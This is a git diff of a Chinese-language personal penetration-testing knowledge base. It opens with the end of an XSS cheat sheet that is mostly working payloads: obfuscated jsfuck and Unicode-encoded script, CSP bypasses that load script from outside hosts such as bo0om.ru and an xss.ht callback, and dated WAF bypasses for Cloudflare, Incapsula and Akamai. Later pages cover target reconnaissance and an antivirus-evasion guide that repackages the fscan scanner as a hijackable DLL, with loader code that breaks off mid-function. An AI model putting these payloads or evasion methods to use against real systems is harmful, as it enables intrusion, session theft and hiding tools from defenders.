></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
+

使用片假名绕过​

+

使用Katakana库。

+
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
+

使用楔形文字绕过​

+
𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()
+

使用朗塔拉的旁路​

+
ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
+

http://aem1k.com/aurebesh.js/#上的更多字母

+

使用 ECMAScript6 绕过​

+
<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>
+

使用八进制编码绕过​

+
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
+

绕过使用 Unicode​

+
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")

Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes >
%EF%BC%9C becomes <
+

不使用转换为大写的 Unicode

+
İ (%c4%b0).toLowerCase() => i
ı (%c4%b1).toUpperCase() => I
ſ (%c5%bf) .toUpperCase() => S
K (%E2%84%AA).toLowerCase() => k

<ſvg onload=... > become <SVG ONLOAD=...>
<ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>
+

使用 UTF-7 旁路​

+
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
+

绕过使用 UTF-8​

+
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9
+

使用 UTF-16be 旁路​

+
%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>
+

使用 UTF-32 旁路​

+
%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
+

使用 BOM 绕过​

+

字节顺序标记(页面必须以 BOM 字符开头。)BOM 字符允许覆盖页面的字符集

+
BOM Character for UTF-16 Encoding:
Big Endian : 0xFE 0xFF
Little Endian : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

BOM Character for UTF-32 Encoding:
Big Endian : 0x00 0x00 0xFE 0xFF
Little Endian : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E
+

绕过使用奇怪的编码或原生解释​

+
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
+

使用 jsfuck 绕过​

+

使用jsfuck绕过

+
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
+

CSP 旁路​

+

检查https://csp-evaluator.withgoogle.com上的 CSP 和帖子:

+

使用谷歌的 JSONP 绕过 CSP(通过@ 阿普费费尔 27的技巧)​

+

//谷歌.com/complete/search?client=chrome&jsonp= 警报(1);

+
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
+

更多 JSONP 终结点:

+ +

绕过 CSPlab.wallarm.com 网站​

+

适用于 CSP,如 Content-Security-Policy: default-src 'self' 'unsafe-inline';、

+
script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);
+

绕过 CSPRhynorater​

+
// CSP Bypass with Inline and Eval
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://[YOUR_XSSHUNTER_USERNAME].xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
+

绕过 CSP@akita_zen​

+

适用于 CSP,如 script-src self

+
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
+

绕过 CSP@404death​

+

适用于 CSP,如官方mozilla 文档中警告的那样。

+
<script src="data:,alert(1)">/</script>
+

通用 WAF 旁路​

+

Cloudflare XSS 绕过@ 波丹 · 科尔日恩斯基​

+

2021 年 1 月 25 日​

+
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>
+

2020 年 4 月 21 日​

+
<svg/OnLoad="`${prompt``}`">
+

2019 年 8 月 22 日​

+
<svg/onload=%26nbsp;alert`bohdan`+
+

2019 年 6 月 5 日​

+
1'"><img/src/onerror=.1|alert``>
+

2019 年 6 月 3 日​

+
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
+

Cloudflare XSS 旁路-2019 年 3 月 22 日(通过 @RakeshMane10)​

+
<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f
+

Cloudflare XSS 旁路-2018 年 2 月 27 日​

+
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
+

Chrome 审计员-2018 年 8 月 9 日​

+
</script><svg><script>alert(1)-%26apos%3B
+

@brutelogic 的实时示例-[https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=%3C%2Fscript%3E%3Csvg%3E%3Cscript%3Ealert%281%29-%26apos%3B)

+

Incapsula WAF 旁路通过@Alra3ees-2018 年 3 月 8 日​

+
anythinglr00</script><script>alert(document.domain)</script>uxldz

anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
+

Incapsula WAF 旁路通过@c0d3G33k-2018 年 9 月 11 日​

+
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
+

Incapsula WAF 旁路通过@daveysec-2019 年 5 月 11 日​

+
<svg onload\r\n=$.globalEval("al"+"ert()");>
+

Akamai WAF 绕过@zseano-2018 年 6 月 18 日​

+
?"></script><base%20c%3D=href%3Dhttps:\mysite>
+

Akamai WAF 绕过@s0md3v-2018 年 10 月 28 日​

+
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
+

WordFence WAF 绕过@ 野蛮的-2018 年 9 月 12 日​

+
<a href=javas&#99;ript:alert(1)>
+

Fortiweb WAF 旁路通过@rezaduty-2019 年 7 月 9 日​

+
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e
+

实验室​

+ +

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/index.html b/en/docs/个人知识库/渗透测试/信息收集/index.html new file mode 100644 index 0000000..eb54794 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/index.html @@ -0,0 +1,34 @@ + + + + + +信息收集 | wjlin0 + + + + + + + +

信息收集

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:31:21
+
+

[!TIP]

+

渗透测试的本质就是信息收集,这句话想必大家都听过,在整个渗透测试的时候,信息收集占据了绝大部分。拿到一个目标的主站域名后,想从主站攻入一般是很困难的,或者说根本不可能,但如果信息收集做得全面,攻击面扩大,找到目标的脆弱点,让攻陷目标更容易。

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html new file mode 100644 index 0000000..9fd4c3b --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/ICP备案查询/index.html @@ -0,0 +1,48 @@ + + + + + +ICP备案查询 | wjlin0 + + + + + + + +

ICP备案查询

作者修订时间
wjlin02025-10-14 23:58:22
+

ICP备案是指网站在信息产业部提交网站信息进行官方认可。对国内各大小网站(包括企业及个人站点)的严格审查工作,对于没有合法备案的非经营性网站或没有取得ICP许可证的经营性网站,根据网站性质,将予以罚款,严重的关闭网站,以此规范网络安全,打击一切利用网络资源进行不法活动的犯罪行为。也就是说,只要是盈利为目的的网站,都要进行ICP备案,否则会受到相应的处罚。

+

国内使用国内服务器的网站,都必须要先办理ICP备案后才可以上线。

+

有何作用​

+

通过查询目标企业的备案信息,可直接获取到目标企业注册了哪些域名,从而增加可渗透的目标范围。

+

如何查询​

+
+

![Tip]

+

推荐使用官方网站ICP/IP地址/域名信息备案管理系统

+
+

支持使用单位名称、域名和备案号进行查询

+
    +
  • 使用单位名称查询
  • +
+

img

+
    +
  • +

    使用域名查询

    +
  • +
  • +

    使用备案号查询

    +
  • +
+

img

+

使用任意参数查询后,可通过相关的信息查询其他相关的域名达到收集目标域名的目的。

+

第三方查询网站​

+ +

参考​

+

ICP备案查询 · d4m1ts 知识库

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html new file mode 100644 index 0000000..41b2a63 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/WHOIS-IP反查查询/index.html @@ -0,0 +1,52 @@ + + + + + +WHOIS-IP反查查询 | wjlin0 + + + + + + + +

WHOIS-IP反查查询

作者修订时间
wjlin02025-08-19 16:40:48
+
+

[!TIP]

+

whois 是用来查询域名的IP以及所有者等信息的传输协议。简单说,whois就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人、域名注册商),不同域名后缀的Whois信息需要到不同的Whois数据库查询。通过whois来实现对域名信息的查询,可以得到注册人的姓名和邮箱信息通常对测试个人站点非常有用,因为我们可以通过搜索引擎和社交网络挖掘出域名所有人的很多信息。

+
+

常见网站:

+
+

Whois站长之家查询:http://whois.chinaz.com/

+

阿里云中国万网查询:https://whois.aliyun.com/

+

Whois Lookup 查找目标网站所有者的信息:http://whois.domaintools.com/

+

Netcraft Site Report 显示目标网站上使用的技术:http://toolbar.netcraft.com/site_report?url=

+

Robtex DNS 查询显示关于目标网站的全面的DNS信息:https://www.robtex.com/

+

全球Whois查询:https://www.whois365.com/cn/

+

站长工具爱站查询:https://whois.aizhan.com/

+
+

站长之家:whois.chinaz.com

+

注册邮箱​

+
1.注册邮箱
2.反查
1.域名
2.注册者、电话
3.dns
4.注册时间、过期时间
+

注册人、电话号​

+
1.注册人反查
2.社工库
+

注册时间-过期时间​

+

注册商​

+

历史查询​

+
1.以前的手机号
2.以前的域名
+

IP反查​

+

有何作用​

+

目标多个域名可能绑定在同一IP上,通过IP反查一定情况下可获取到其他的域名信息。

+

如何查询​

+
+

[!TIP]

+ +
+

输入相关的域名或IP地址即可查询。

+

image-20221223205015934

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html new file mode 100644 index 0000000..ca3930e --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/google查询/index.html @@ -0,0 +1,34 @@ + + + + + +google查询 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html new file mode 100644 index 0000000..9bca0c7 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/index.html @@ -0,0 +1,39 @@ + + + + + +主域名收集 | wjlin0 + + + + + + + +

主域名收集

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:50:48
+

域名(英语:Domain Name),又称网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时对计算机的定位标识(有时也指地理位置)。由于IP地址具有不方便记忆并且不能显示地址组织的名称和性质等缺点,人们设计出了域名,并通过网域名称系统来将域名和IP地址相互映射,使人更方便地访问互联网,而不用去记住能够被机器直接读取的IP地址数串。

+
+

顶级域名/一级域名:

+

顶级域(或顶级域名,也称为一级域名),是互联网DNS等级之中的最高级的域,它保存于DNS根域的名字空间中。顶级域名是域名的最后一个部分,即是域名最后一点之后的字母,例如在http://www.example.com这个域名中,**顶级域是****.com**。

+

二级域名:

+

除了顶级域名,还有二级域名,就是最靠近顶级域名左侧的字段。例如在http://www.example.com这个域名中,example就是二级域名。

+

子域名:

+

子域名(或子域;英语:Subdomain)是在域名系统等级中,属于更高一层域的域。比如,mail.example.com和calendar.example.com是example.com的两个子域,而example.com则是顶级域.com的子域。凡顶级域名前加前缀的都是该顶级域名的子域名,而子域名根据技术的多少分为二级子域名,三级子域名以及多级子域名。

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html new file mode 100644 index 0000000..26fb7f9 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/信息收集/资产收集/主域名收集/证书查询/index.html @@ -0,0 +1,73 @@ + + + + + +证书查询 | wjlin0 + + + + + + + +

证书查询

作者修订时间
wjlin02025-08-19 16:40:42
+

SSL 证书 就是遵守 SSL协议,由受信任的数字证书颁发机构CA,在验证服务器身份后颁发,具有服务器身份验证和数据传输加密功能。

+

SSL证书通过在客户端浏览器和Web服务器之间建立一条SSL安全通道(Secure socket layer(SSL)安全协议是由Netscape Communication公司设计开发。该安全协议主要用来提供对用户和服务器的认证;对传送的数据进行加密和隐藏;确保数据在传送中不被改变,即数据的完整性,现已成为该领域中全球化的标准。由于SSL技术已建立到所有主要的浏览器和WEB服务器程序中,因此,仅需安装服务器证书就可以激活该功能了),即通过它可以激活SSL协议,实现数据信息在客户端和服务器之间的加密传输,可以防止数据信息的泄露,保证了双方传递信息的安全性,而且用户可以通过服务器证书验证他所访问的网站是否是真实可靠。数字签名又名数字标识、签章 (即 Digital Certificate,Digital ID ),提供了一种在网上进行身份验证的方法,是用来标志和证明网络通信双方身份的数字信息文件,概念类似日常生活中的司机驾照或身份证。 数字签名主要用于发送安全电子邮件、访问安全站点、网上招标与投标、网上签约、网上订购、网上公文安全传送、网上办公、网上缴费、网上缴税以及网上购物等安全的网上电子交易活动。

+

证书功能​

+

服务器部署了 SSL 证书后可以确保用户在浏览器上输入的机密信息和从服务器上查询的机密信息从用户电脑到服务器之间的传输链路上是高强度加密传输的,是不可能被非法篡改和窃取的。同时向网站访问者证明了服务器的真实身份,此真实身份是通过第三方权威机构验证的。也就是说有两大作用:数据加密和身份认证。

+

a 确认网站真实性(网站身份认证):用户需要登录正确的网站进行在线购物或其它交易活动,但由于互联网的广泛性和开放性,使得互联网上存在着许多假冒、钓鱼网站,用户如何来判断网站的真实性,如何信任自己正在访问的网站,可信网站将帮你确认网站的身份。当用户需要确认网站身份的时候,只需要点击浏览器地址栏里面的锁头标志即可。

+

b 保证信息传输的机密性:用户在登录网站在线购物或进行各种交易时,需要多次向服务器端传送信息,而这些信息很多是用户的隐私和机密信息,直接涉及经济利益或私密,如何来确保这些信息的安全呢?可信网站将帮您建立一条安全的信息传输加密通道。

+

在SSL会话产生时,服务器会传送它的证书,用户端浏览器会自动的分析服务器证书,并根据不同版本的浏览器,从而产生40位或128位的会话密钥,用于对交易的信息进行加密。所有的过程都会自动完成,对用户是透明的,因而,服务器证书可分为两种:最低40位和最低128位(这里指的是SSL会话时生成加密密钥的长度,密钥越长越不容易破解)证书。

+

最低40位的服务器证书在建立会话时,根据浏览器版本不同,可产生40位或128位的SSL会话密钥用来建立用户浏览器与服务器之间的安全通道。而最低128位的服务器证书不受浏览器版本的限制可以产生128位以上的会话密钥,实现高级别的加密强度,无论是IE或Netscape浏览器,即使使用强行攻击的办法破译密码,也需要10年。

+

证书分类​

+

SSL证书依据功能和品牌不同分类有所不同,但SSL证书作为国际通用的产品,最为重要的便是产品兼容性(即证书根预埋技术),因为他解决了网民登录网站的信任问题,网民可以通过SSL证书轻松识别网站的真实身份。SSL证书分为如下种类:

+
    +
  • 扩展验证型(EV)SSL证书
  • +
  • 组织验证型(OV)SSL证书
  • +
  • 域名验证型(DV)SSL证书
  • +
+

如何利用证书查询域名​

+

浏览器查看​

+

chrome浏览器(其他浏览器类似) 左上角 选择连接是安全的 -> 证书有效 - > 详细信息 -> 证书主题背景的备用名称

+

img.png

+

在线网站​

+
+

推荐使用 crt.sh

+
+

输入域名即可查询

+

image-20221223155642658

+

通过网络空间搜索引擎​

+
+

![TIP]

+

以Fofa为例,shodan和zoomeye类似

+
+ + + + + + + + + + + + + + + + + + + + + + + + + +
语法说明
cert="baidu"搜索证书(https或者imaps等)中带有baidu的资产。
cert.subject="Oracle Corporation"搜索证书持有者是Oracle Corporation的资产
cert.issuer="DigiCert"搜索证书颁发者为DigiCert Inc的资产
cert.is_valid=true验证证书是否有效,true有效,false无效
+

image-20221223162407036

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html b/en/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html new file mode 100644 index 0000000..19fe30d --- /dev/null +++ b/en/docs/个人知识库/渗透测试/免杀/fscan免杀/index.html @@ -0,0 +1,64 @@ + + + + + +fscan免杀 | wjlin0 + + + + + + + +

fscan免杀

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:44
+

fscan免杀

+

前言​

+

首次学习免杀,利用dll劫持的方式,利用微软的白名单机制,实现免杀。本章节代码已同步至github,项目地址: fscan

+

过程​

+

准备fscan的源码。

+
git clone https://github.com/shadow1ng/fscan.git
+

将fsacn的源码中的main.go文件中的main函数如下,由于init函数,在go语言中,为包首次调用的时候会被执行;Go 编写的 DLL 被 C 程序调用时,init 函数会在 DLL 加载到内存时执行,而 main 函数通常不适用于 DLL 并且不会被执行。

+
package main

import "C"

import (
"fmt"
"time"

"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
)

//export DllCanUnloadNow
func DllCanUnloadNow() {}

//export DllGetClassObject
func DllGetClassObject() {}

//export DllRegisterServer
func DllRegisterServer() {}

//export DllUnregisterServer
func DllUnregisterServer() {}

func init() {
start := time.Now()
var Info common.HostInfo
common.Flag(&Info)
common.Parse(&Info)
Plugins.Scan(Info)
t := time.Now().Sub(start)
fmt.Printf("[*] 扫描结束,耗时: %s\n", t)
}


func main(){}

+

编译 windows amd64 下的 dll

+
GOOS=windows GOARCH=amd64 CGO_ENABLED=1
go build -buildmode=c-shared -o fscan.dll ./cmd/fscan_dll/main.go
+

这里可以选择 c和go加载器,c加载器的代码如下:

+
// gcc -o fscan_load fscan_load.c

#include <stdio.h>
#include <windows.h>

int main() {
HMODULE hDLL;
hDLL = LoadLibrary("fscan.dll");

if (hDLL != NULL) {
// 定义函数指针类型
typedef void (*FunctionType)();

// 为每个导出函数创建一个函数指针
